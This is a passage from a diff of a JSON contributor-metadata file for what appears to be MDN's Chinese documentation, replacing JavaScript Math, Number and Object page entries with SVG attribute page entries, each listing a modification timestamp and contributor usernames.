"Web/JavaScript/Reference/Global_Objects/Math/clz32": { - "modified": "2020-10-15T21:26:57.620Z", + "Web/SVG/Attribute/alignment-baseline": { + "modified": "2019-07-05T08:35:05.656Z", "contributors": [ - "Lucilor", - "SphinxKnight", - "teoli", - "ziyunfei" + "liyongleihf2006", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/cos": { - "modified": "2019-03-23T23:12:55.982Z", + "Web/SVG/Attribute/attributeName": { + "modified": "2019-03-23T22:46:42.034Z", "contributors": [ - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/cosh": { - "modified": "2019-03-23T22:45:35.592Z", + "Web/SVG/Attribute/attributeType": { + "modified": "2019-03-23T22:46:39.534Z", "contributors": [ - "SphinxKnight", - "yenshen" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/exp": { - "modified": "2019-04-05T14:46:00.450Z", + "Web/SVG/Attribute/baseProfile": { + "modified": "2019-07-05T08:35:43.566Z", "contributors": [ - "AlexChao" + "leighcc" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/expm1": { - "modified": "2019-03-23T23:24:29.516Z", + "Web/SVG/Attribute/baseline-shift": { + "modified": "2019-03-23T22:46:48.235Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/floor": { - "modified": "2020-12-01T02:48:28.851Z", + "Web/SVG/Attribute/begin": { + "modified": "2019-03-23T22:46:49.938Z", "contributors": [ - "OmniP", - "wangyukai04", - "xgqfrms-GitHub", - "AlexChao" + "wbamberg", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/fround": { - "modified": "2019-04-05T14:46:26.026Z", + "Web/SVG/Attribute/calcMode": { + "modified": "2019-03-23T22:10:34.986Z", "contributors": [ - "SphinxKnight", - "zxsunrise", - "ziyunfei", - "teoli" + "leedut" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/hypot": { - "modified": "2020-10-15T21:25:13.114Z", + "Web/SVG/Attribute/clip": { + "modified": "2020-10-15T21:39:26.851Z", "contributors": [ - "Dorence", - "hellorayza", - "plutonji", - "SphinxKnight", - "tiansh", - "teoli", - "ziyunfei" + "RainSlide", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/imul": { - "modified": "2020-01-20T10:35:52.662Z", + "Web/SVG/Attribute/clip-path": { + "modified": "2020-10-15T22:28:50.040Z", "contributors": [ - "徐鹏跃", - "SphinxKnight", - "teoli", - "ziyunfei" + "jhchen6" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/log": { - "modified": "2019-03-23T23:34:08.078Z", + "Web/SVG/Attribute/color": { + "modified": "2020-10-15T21:39:18.231Z", "contributors": [ - "kyriejoshua", - "teoli", - "AlexChao", - "ziyunfei" + "RainSlide", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/log10": { - "modified": "2019-03-23T23:24:22.200Z", + "Web/SVG/Attribute/cx": { + "modified": "2019-03-23T22:18:03.024Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "realstephenzhao", + "huainanhai" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/log1p": { - "modified": "2019-03-23T23:24:22.369Z", + "Web/SVG/Attribute/cy": { + "modified": "2019-03-18T21:22:46.371Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/log2": { - "modified": "2019-03-27T00:02:26.543Z", + "Web/SVG/Attribute/d": { + "modified": "2019-03-23T22:55:44.323Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "msyfls123", + "fanxiaojie", + "creamidea", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/max": { - "modified": "2020-10-15T21:28:51.161Z", + "Web/SVG/Attribute/display": { + "modified": "2020-11-17T10:08:32.937Z", "contributors": [ - "zhangchen", - "zzykillu", - "littleRice", - "FlowingRiver", - "Gohikin", - "helloguangxue", - "tiansh", - "AlexChao" + "292514467", + "misakisaysyes", + "radial-hks" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/min": { - "modified": "2019-10-10T16:47:54.897Z", + "Web/SVG/Attribute/dominant-baseline": { + "modified": "2019-03-23T22:09:53.226Z", "contributors": [ - "FlowingRiver", - "Ende93", - "AlexChao" + "xinjianheyi" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/pow": { - "modified": "2020-10-15T21:28:50.816Z", + "Web/SVG/Attribute/dur": { + "modified": "2019-03-23T22:46:40.065Z", "contributors": [ - "zhangchen", - "bestlbw", - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/random": { - "modified": "2020-12-10T04:26:38.936Z", + "Web/SVG/Attribute/dx": { + "modified": "2020-08-25T05:37:26.030Z", "contributors": [ - "caozhihui24", - "Ende93", - "Jing1107", - "Soyaine", - "wutiande", - "hhxxhg", - "meng-Macbook", - "ywjco", - "ZZES_REN", - "Daniel_Liu", - "xgqfrms-GitHub", - "AlexChao", - "teoli", - "ndon" + "danceash", + "jiahui" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/round": { - "modified": "2019-09-15T15:07:27.927Z", + "Web/SVG/Attribute/edgeMode": { + "modified": "2019-03-23T22:46:21.766Z", "contributors": [ - "shelter9824", - "zxsunrise", - "pazingaa", - "xgqfrms-GitHub", - "teoli", - "ziyunfei", - "AlexChao", - "princetoad@gmail.com" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/sign": { - "modified": "2019-08-31T06:02:13.833Z", + "Web/SVG/Attribute/enable-background": { + "modified": "2020-10-15T22:34:25.447Z", "contributors": [ - "xgqfrms-GitHub", - "tiansh", - "teoli", - "ziyunfei" + "SphinxKnight", + "SoMuchTo" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/sin": { - "modified": "2020-11-11T08:27:43.469Z", + "Web/SVG/Attribute/end": { + "modified": "2019-03-23T22:46:42.288Z", "contributors": [ - "luisleee", - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/sinh": { - "modified": "2020-08-20T08:15:43.793Z", + "Web/SVG/Attribute/fill": { + "modified": "2019-03-23T22:46:42.182Z", "contributors": [ - "635153226", - "SphinxKnight", - "teoli", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/sqrt": { - "modified": "2020-10-15T21:28:52.595Z", + "Web/SVG/Attribute/fill-opacity": { + "modified": "2019-03-23T22:46:42.402Z", "contributors": [ - "zhangchen", - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/tan": { - "modified": "2019-08-31T06:01:37.228Z", + "Web/SVG/Attribute/fill-rule": { + "modified": "2020-10-15T21:39:20.776Z", "contributors": [ - "AlexChao" + "skywalker_z", + "kapokkopak", + "Ambar", + "ZhengYinBo", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/tanh": { - "modified": "2020-10-15T21:49:09.190Z", + "Web/SVG/Attribute/filter": { + "modified": "2019-03-23T22:46:38.982Z", "contributors": [ - "Dorence", - "Yunme", - "Gohikin", - "lsvih" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/trunc": { - "modified": "2020-10-15T21:25:16.193Z", + "Web/SVG/Attribute/filterUnits": { + "modified": "2019-03-23T22:14:03.688Z", "contributors": [ - "zxsunrise", - "Ende93", - "ziyunfei", - "tiansh", - "teoli" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值": { - "modified": "2020-10-15T21:50:09.940Z", + "Web/SVG/Attribute/font-family": { + "modified": "2019-03-23T23:04:59.299Z", "contributors": [ - "Dorence", - "wizardforcel", - "LiuYuan" + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/NaN": { - "modified": "2020-10-15T21:21:08.233Z", + "Web/SVG/Attribute/fr": { + "modified": "2019-03-18T21:22:49.932Z", "contributors": [ - "wallena3", - "HuangXin", - "caofei6", - "zxsunrise", - "EthanOrange", - "Jiang-Xuan", - "Ende93", - "yenshen", - "SphinxKnight", - "ziyunfei", - "AlexChao", - "teoli", - "zhangyaochun1987" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Number": { - "modified": "2020-10-15T21:21:06.513Z", + "Web/SVG/Attribute/fx": { + "modified": "2019-03-18T21:28:55.964Z", "contributors": [ - "SageX", - "Mookiepiece", - "huxinsen", - "hhxxhg", - "shevche24", - "re09", - "righttoe", - "yurielZhang", - "liudeyuan", - "liuzeyafzy", - "Ende93", - "teoli", - "xuxiaodong", - "ethertank" + "realstephenzhao", + "longfeihouhouhou" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/EPSILON": { - "modified": "2019-10-14T12:34:30.960Z", + "Web/SVG/Attribute/fy": { + "modified": "2019-03-18T21:22:47.918Z", "contributors": [ - "SageX", - "Fire1nRain", - "Liugq5713", - "AlexChao", - "jokeviner" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER": { - "modified": "2019-11-10T23:49:14.665Z", + "Web/SVG/Attribute/height": { + "modified": "2019-03-23T22:46:48.815Z", "contributors": [ - "zotille", - "AlexChao", - "jokeviner" + "Ende93", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE": { - "modified": "2019-03-18T20:54:24.017Z", + "Web/SVG/Attribute/id": { + "modified": "2020-10-15T22:25:42.877Z", "contributors": [ - "dsgygb", - "AlexChao" + "cuixiping" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER": { - "modified": "2020-10-15T21:48:36.767Z", + "Web/SVG/Attribute/image-rendering": { + "modified": "2019-03-23T23:10:41.035Z", "contributors": [ - "SphinxKnight", - "User670", - "suxiesumiao" + "ReyCG_sub" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE": { - "modified": "2019-03-23T23:13:08.431Z", + "Web/SVG/Attribute/in": { + "modified": "2019-03-23T22:13:50.542Z", "contributors": [ - "AlexChao" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY": { - "modified": "2019-03-23T23:13:05.395Z", + "Web/SVG/Attribute/kernelMatrix": { + "modified": "2019-03-23T22:14:02.784Z", "contributors": [ - "AlexChao" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/NaN": { - "modified": "2019-04-06T03:20:31.087Z", + "Web/SVG/Attribute/keyTimes": { + "modified": "2019-03-18T21:30:15.598Z", "contributors": [ - "AlexChao", - "teoli", - "zhangyaochun1987" + "ZhenhuaChen" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/Number": { - "modified": "2020-10-15T22:32:37.356Z", + "Web/SVG/Attribute/letter-spacing": { + "modified": "2020-10-15T22:23:39.628Z", "contributors": [ - "爬上神坛的猫" + "vvv-7911" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY": { - "modified": "2019-03-23T23:12:58.979Z", + "Web/SVG/Attribute/marker-end": { + "modified": "2020-10-15T22:18:07.958Z", "contributors": [ - "helinjiang", - "AlexChao" + "ciki6" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/isFinite": { - "modified": "2020-10-15T21:24:17.461Z", + "Web/SVG/Attribute/marker-start": { + "modified": "2020-10-15T22:35:06.368Z", "contributors": [ - "zhangchen", - "AlexChao", - "teoli", - "ziyunfei", - "zhangyaochun1987" + "ciki6" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/isInteger": { - "modified": "2020-10-15T21:24:18.300Z", + "Web/SVG/Attribute/mask": { + "modified": "2019-03-23T22:46:32.037Z", "contributors": [ - "yanhaijing1234", - "daihaoxin", - "oldmtn", - "Ende93", - "teoli", + "wbamberg", "ziyunfei", - "tiansh", - "zhangyaochun1987" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/isNaN": { - "modified": "2020-10-15T21:19:55.509Z", + "Web/SVG/Attribute/max": { + "modified": "2020-10-15T22:26:09.162Z", "contributors": [ - "RainSlide", - "polunzh", - "daihaoxin", - "xgqfrms-GitHub", - "AlexChao", - "yenshen", - "teoli", - "yufeng", - "ziyunfei" + "bompoo" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger": { - "modified": "2020-10-15T21:27:54.542Z", + "Web/SVG/Attribute/media": { + "modified": "2020-10-15T22:28:22.473Z", "contributors": [ - "yanhaijing1234", - "hellorayza", - "AlexChao", - "ziyunfei" + "Firefox_mozilla" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/parseFloat": { - "modified": "2019-11-08T10:17:37.826Z", + "Web/SVG/Attribute/opacity": { + "modified": "2019-03-23T22:46:17.591Z", "contributors": [ - "hellorayza", - "Youzi", - "SphinxKnight", - "AlexChao", - "saintwinkle" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/parseInt": { - "modified": "2020-10-15T21:32:59.587Z", + "Web/SVG/Attribute/order": { + "modified": "2019-03-23T22:14:09.913Z", "contributors": [ - "hellorayza", - "SageX", - "edward870505", - "NiLinli", - "iugo", - "ziyunfei", - "tiansh" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/prototype": { - "modified": "2019-03-23T22:12:02.199Z", + "Web/SVG/Attribute/origin": { + "modified": "2020-09-21T09:25:39.365Z", "contributors": [ - "AlexChao" + "SphinxKnight", + "a420980938" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toExponential": { - "modified": "2019-04-06T03:30:46.772Z", + "Web/SVG/Attribute/overflow": { + "modified": "2020-10-15T22:09:03.459Z", "contributors": [ - "zhazhjie", - "yunl819", - "helloguangxue", - "AlexChao" + "SphinxKnight", + "888aaa" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toFixed": { - "modified": "2020-10-15T21:28:32.902Z", + "Web/SVG/Attribute/path": { + "modified": "2019-01-17T01:11:59.482Z", "contributors": [ - "zeroxie", - "liuruiqi1993", - "Xiaoming666", - "rulanfenghua", - "PageYe", - "yenshen", - "Jinjiang", - "AlexChao" + "dfEric" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toLocaleString": { - "modified": "2020-10-15T21:28:46.243Z", + "Web/SVG/Attribute/pathLength": { + "modified": "2019-03-18T21:24:01.815Z", "contributors": [ - "RoXoM", - "dongchaoge", - "Sivan", - "Hugh", - "anchengjian", - "shuding", - "AlexChao" + "EXSVAMP" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toPrecision": { - "modified": "2019-09-09T23:08:23.767Z", + "Web/SVG/Attribute/patternUnits": { + "modified": "2019-03-18T21:15:24.501Z", "contributors": [ - "helloguangxue", - "AlexChao" + "Chesn" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toSource": { - "modified": "2019-04-06T03:53:43.075Z", + "Web/SVG/Attribute/pointer-events": { + "modified": "2020-10-15T22:18:55.261Z", "contributors": [ - "AlexChao" + "WebsonLeo" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toString": { - "modified": "2019-07-09T06:38:38.264Z", + "Web/SVG/Attribute/points": { + "modified": "2019-03-23T22:46:24.044Z", "contributors": [ - "LeoSpark", - "ywjco", - "xgqfrms-GitHub", - "righttoe", - "YoungChen", - "yenshen", - "AlexChao", - "teoli", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/valueOf": { - "modified": "2019-04-06T04:03:18.487Z", + "Web/SVG/Attribute/preserveAlpha": { + "modified": "2019-03-18T21:30:40.693Z", "contributors": [ - "weiqinl", - "ziyunfei", - "yenshen", - "AlexChao" + "hy512" ] }, - "Web/JavaScript/Reference/Global_Objects/Object": { - "modified": "2020-10-15T21:07:58.316Z", + "Web/SVG/Attribute/preserveAspectRatio": { + "modified": "2019-03-23T22:02:41.003Z", "contributors": [ - "VictoriaChou", - "oldguan", - "oxyg3n", - "sunshine8752", - "yzh196", - "CelestialPhineas", - "RainSlide", - "zhangchen", - "lee-joe", - "xgqfrms-GitHub", - "kangaoxiaoshi", - "Hugh", - "tomoat", - "hxlhxl", - "Ende93", - "scscms", - "charlie", - "ziyunfei", - "paddingme", - "AlexChao", - "teoli", - "iwo" + "codepandy", + "ciki6", + "yuyx91", + "webtuotuo2017" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/GetPrototypeOf": { - "modified": "2020-10-15T21:07:55.199Z", + "Web/SVG/Attribute/primitiveUnits": { + "modified": "2019-03-23T22:14:03.826Z", "contributors": [ - "futurefeeling", - "ywjco", - "zhangchen", - "xgqfrms-GitHub", - "teoli", - "AlexChao", - "paddingme", - "ziyunfei" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/Object": { - "modified": "2020-10-15T22:29:02.706Z", + "Web/SVG/Attribute/r": { + "modified": "2019-03-18T21:22:40.271Z", "contributors": [ - "jiyiwohanxing" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__": { - "modified": "2019-03-23T23:05:45.020Z", + "Web/SVG/Attribute/radius": { + "modified": "2019-03-23T22:46:18.311Z", "contributors": [ - "ziyunfei", - "LinusYu" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__": { - "modified": "2019-03-23T23:05:56.544Z", + "Web/SVG/Attribute/repeatCount": { + "modified": "2019-03-23T22:18:01.687Z", "contributors": [ - "ziyunfei", - "LinusYu" + "876843240", + "huainanhai" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__": { - "modified": "2019-03-23T23:14:35.158Z", + "Web/SVG/Attribute/result": { + "modified": "2019-01-16T21:31:09.328Z", "contributors": [ - "MurphyL", - "ziyunfei", - "lutaoact" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__": { - "modified": "2019-03-23T22:21:56.129Z", + "Web/SVG/Attribute/rx": { + "modified": "2019-03-18T21:00:24.171Z", "contributors": [ - "winjeysong", - "lisniuse" + "RainSlide", + "BowenSun" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/assign": { - "modified": "2020-10-21T06:50:11.039Z", + "Web/SVG/Attribute/scale": { + "modified": "2019-03-23T22:46:29.331Z", "contributors": [ - "srq18211", - "xgqfrms", - "sjnho", - "SphinxKnight", - "YF05105814", - "zac_ma", - "shery", - "shutong", - "HJava", - "Jiang-Xuan", - "zhangchen", - "xgqfrms-GitHub", - "micheal-death", - "kiyonlin", - "Wayme", - "glgjssy", - "Ende93", - "Y____C", - "zhangking", - "calmcarry", - "iamchenxin", - "ziyunfei", - "rebornix" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/constructor": { - "modified": "2020-10-15T21:22:02.873Z", + "Web/SVG/Attribute/seed": { + "modified": "2019-03-23T22:46:25.651Z", "contributors": [ - "Lan1967", - "zhangchen", - "icyzeroice", - "luoxzhg", - "Hugh", - "teoli", - "AlexChao", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/create": { - "modified": "2020-11-17T22:40:03.747Z", + "Web/SVG/Attribute/shape-rendering": { + "modified": "2019-03-23T22:41:44.530Z", "contributors": [ - "zhuangyin", - "kaiyuan-c", - "yukyao", - "Aster.", - "symant233", - "zhanghao-zhoushan", - "Ahhaha233", - "name-dingding", - "Lan1967", - "wangzherlf", - "LuckyJoker", - "zhangchen", - "evan_Yuanzh", - "luoxzhg", - "ywjco", - "cuji", - "Tuoe", - "foreverwang", - "HuazzTsai", - "Cribug8080", - "Ende93", - "xgqfrms-GitHub", - "runighcat", - "ouonet", - "Hopcraft", - "luojia", - "AlexChao", - "teoli", - "ziyunfei", - "Chajn", - "georgewing", - "nightire", - "bingjie2680", - "fscholz", - "raymoth", - "Mgjbot", - "Kaixin110", - "Cnmahj", - "Mhoudg", - "Andyyard", - "Carrie zhxj", - "Mickeyboy", - "Verruckt", - "Taken", - "Ahong" + "maicss" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/defineProperties": { - "modified": "2020-12-13T23:47:19.929Z", + "Web/SVG/Attribute/stdDeviation": { + "modified": "2019-03-18T21:23:00.621Z", "contributors": [ - "YawnS0", - "zhangchen", - "xgqfrms-GitHub", - "microTT", - "ziyunfei", - "AlexChao", - "teoli", - "OoOoOoOo", - "leeli" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": { - "modified": "2020-12-03T03:27:16.867Z", - "contributors": [ - "daniel_tsai", - "liushuaimaya", - "symant233", - "lijinwenhg", - "RainSlide", - "sunw", - "mingzhang6", - "liuliuLiu161", - "walwimp", - "leavesster", - "onedaywen", - "junyuli1992", - "Xmader", - "zhanghy7", - "Josnk", - "lmislm", - "weidapao", - "CaptainInPHW", - "zotille", - "LeoSpark", - "i850", - "Mrdapeng", - "yuyongjun123", - "buptsky", - "ywjco", - "Wutang", - "Black-Hole", - "zhangchen", - "xiiiAtCn", - "C_Kite", - "MrITzhongzi", - "usernameisMan", - "zilong", - "ziyunfei", - "dttx123", - "win5do", - "Ende93", - "righttoe", - "hicrow", - "xgqfrms-GitHub", - "maxmeng", - "whwei", - "xuemengfei", - "riversYeHaha", - "harttle", - "coolguy", - "KingMario", - "helinjiang", - "Lenville", - "teoli", - "TimothyZhang", - "AlexChao", - "aaron4512", - "jiraiya", - "yanhaijing", - "StuPig", - "OoOoOoOo" + "Web/SVG/Attribute/string": { + "modified": "2020-10-15T22:28:09.817Z", + "contributors": [ + "Tjhxzd" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/entries": { - "modified": "2020-10-15T21:47:29.698Z", + "Web/SVG/Attribute/stroke": { + "modified": "2019-03-23T22:47:39.759Z", "contributors": [ - "symant233", - "versionlin7", - "zhangchen", - "spiritree", - "xgqfrms-GitHub", - "OshotOkill" + "fanxiaojie", + "slientomorrr" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/freeze": { - "modified": "2020-10-15T21:04:51.609Z", + "Web/SVG/Attribute/stroke-dasharray": { + "modified": "2019-08-08T05:38:03.197Z", "contributors": [ - "Frederick-S", - "lejsure", - "mingttong", - "zhangchen", - "ywjco", - "sqliang", - "zhouyuanhao", - "Ende93", - "AlexChao", - "teoli", - "ziyunfei", - "undercooled" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/fromEntries": { - "modified": "2020-10-15T22:09:07.388Z", + "Web/SVG/Attribute/stroke-dashoffset": { + "modified": "2019-10-10T16:56:45.450Z", "contributors": [ - "zhangchen", - "qiudongwei", - "iugo", - "xiaopingzhang0207", - "kohai", - "Bayes" + "ZhengYinBo", + "yanagao" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor": { - "modified": "2020-10-15T21:04:53.010Z", + "Web/SVG/Attribute/stroke-linecap": { + "modified": "2019-03-23T22:21:59.850Z", "contributors": [ - "Damoness", - "274659281", - "RoXoM", - "liuyangjoker", - "usernameisMan", - "Ende93", - "teoli", - "AlexChao", - "ArthasTree", - "ziyunfei", - "nightire" + "ZhengYinBo" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors": { - "modified": "2020-10-15T21:47:29.156Z", + "Web/SVG/Attribute/stroke-linejoin": { + "modified": "2020-10-15T21:52:22.702Z", "contributors": [ - "Aaron-Bird", - "RoXoM", - "kdex", - "Hushabyme", - "delkaka", - "ziyunfei" + "cuixiping", + "IridescentMia" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames": { - "modified": "2020-10-15T21:04:50.666Z", + "Web/SVG/Attribute/stroke-miterlimit": { + "modified": "2019-03-23T22:46:40.182Z", "contributors": [ - "woyaohaohaoxuexi", - "ywjco", - "zhangchen", - "C_Kite", - "kdex", - "Ende93", - "RandyOu", - "ChrisCindy", - "helinjiang", - "teoli", - "AlexChao", - "ziyunfei", - "Arenwisdom" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols": { - "modified": "2020-10-15T21:28:24.757Z", + "Web/SVG/Attribute/stroke-opacity": { + "modified": "2019-03-23T22:46:37.761Z", "contributors": [ - "zhangchen", - "limichange", - "AlexChao", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": { - "modified": "2020-11-12T05:23:35.945Z", + "Web/SVG/Attribute/stroke-width": { + "modified": "2019-03-23T22:46:41.922Z", "contributors": [ - "haichao0817", - "Harry-Zhao", - "RainSlide", - "liuzhengdong", - "ShirleyM", - "xgqfrms-GitHub", - "Ende93", - "ziyunfei", - "yyj" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/is": { - "modified": "2020-10-15T21:22:02.169Z", + "Web/SVG/Attribute/style": { + "modified": "2019-10-09T03:46:30.272Z", "contributors": [ - "jaredhan418", - "Mirefire", - "ngulee", - "RainSlide", - "42", - "zhangchen", - "shaojingchao", + "xianshenglu", "xgqfrms-GitHub", - "Ende93", - "ziyunfei", - "snandy", - "teoli", - "zhangyaochun1987" + "monjer" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/isExtensible": { - "modified": "2019-03-24T12:06:06.825Z", + "Web/SVG/Attribute/target": { + "modified": "2020-10-15T22:27:15.767Z", "contributors": [ - "fanerge", - "helinjiang", - "AlexChao", - "teoli", - "ziyunfei" + "fzhyzamt", + "boli14" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": { - "modified": "2020-10-15T21:04:51.362Z", + "Web/SVG/Attribute/text-decoration": { + "modified": "2020-09-26T20:27:21.690Z", "contributors": [ - "XiongAmao", - "zhangchen", - "xgqfrms-GitHub", - "micheal-death", - "WangXiao", - "helinjiang", - "AlexChao", - "teoli", - "ziyunfei", - "undercooled" + "xuhaooo", + "qingpingy" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf": { - "modified": "2019-07-25T07:55:33.320Z", + "Web/SVG/Attribute/transform": { + "modified": "2019-10-17T10:24:00.177Z", "contributors": [ - "xhlsrj", - "xgqfrms-GitHub", - "Ende93", - "helloguangxue", - "teoli", - "AlexChao", - "ziyunfei" + "qq240814476" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/isSealed": { - "modified": "2020-10-15T21:04:48.021Z", + "Web/SVG/Attribute/type": { + "modified": "2019-09-27T11:12:53.094Z", "contributors": [ - "yuyeqianxun", - "zhangchen", - "xgqfrms-GitHub", - "Ende93", - "helinjiang", - "AlexChao", - "teoli", - "ziyunfei", - "undercooled" + "Huang2019023239" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/keys": { - "modified": "2020-10-15T21:06:49.993Z", + "Web/SVG/Attribute/units-per-em": { + "modified": "2020-10-15T22:25:05.021Z", "contributors": [ - "fbfatboy", - "Cuixote", - "liuzhengdong", - "SphinxKnight", - "Vike50", - "zhuangyin", - "dc165015", - "zhangchen", - "ywjco", - "xgqfrms-GitHub", - "Ende93", - "Lynn0108", - "kdex", - "micheal-death", - "zaxlct", - "WhiteMind", - "qdxt", - "teoli", - "AlexChao", - "ziyunfei" + "pandahara" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/preventExtensions": { - "modified": "2020-10-15T21:04:47.741Z", + "Web/SVG/Attribute/values": { + "modified": "2020-08-19T04:16:48.441Z", "contributors": [ - "Astroleander", - "zhangchen", - "recursion", - "AlexChao", - "teoli", - "ziyunfei", - "undercooled" + "keyline-1" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable": { - "modified": "2020-10-15T21:21:12.490Z", + "Web/SVG/Attribute/vector-effect": { + "modified": "2020-10-15T22:25:39.831Z", "contributors": [ - "RainSlide", - "zhangchen", - "TiaossuP", - "helloguangxue", - "Gresic", - "teoli", - "AlexChao", - "ziyunfei" + "cuixiping" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/proto": { - "modified": "2020-10-15T21:20:42.886Z", + "Web/SVG/Attribute/version": { + "modified": "2019-08-03T10:57:47.255Z", + "contributors": [ + "monkeycf", + "LiKunWillShine" + ] + }, + "Web/SVG/Attribute/viewBox": { + "modified": "2019-08-01T23:50:11.252Z", + "contributors": [ + "lovefengruoqing", + "act262" + ] + }, + "Web/SVG/Attribute/visibility": { + "modified": "2019-03-23T22:46:34.860Z", + "contributors": [ + "fanxiaojie" + ] + }, + "Web/SVG/Attribute/width": { + "modified": "2019-03-23T22:46:51.950Z", "contributors": [ - "milyyy", "Ende93", - "rjdangcc", - "HIKALU-Z", - "Btista", - "trotyl", - "wolyshaw", - "xgqfrms-GitHub", - "eeeeeeeason", - "Howard.Chen", - "Wayme", - "lisniuse", - "redcool007", - "Leslie2014", - "teoli", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/prototype": { - "modified": "2020-10-15T21:21:47.231Z", + "Web/SVG/Attribute/x": { + "modified": "2019-03-23T22:46:48.086Z", "contributors": [ - "SphinxKnight", - "daihaoxin", - "zhangchen", - "wwy2018", - "Linjing", - "WizardAlice", - "ywjco", - "xgqfrms-GitHub", - "Cattla", - "scscms", - "webery", - "luoway", - "ziyunfei", - "LinusYu", - "teoli", - "iwo" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/seal": { - "modified": "2020-10-15T21:04:46.777Z", + "Web/SVG/Attribute/y": { + "modified": "2019-03-23T22:46:47.078Z", "contributors": [ - "1997Liusheng", - "acejerry", - "zhangchen", - "cwwjie", - "toBeTheLight", - "zixiangTang", - "AlexChao", + 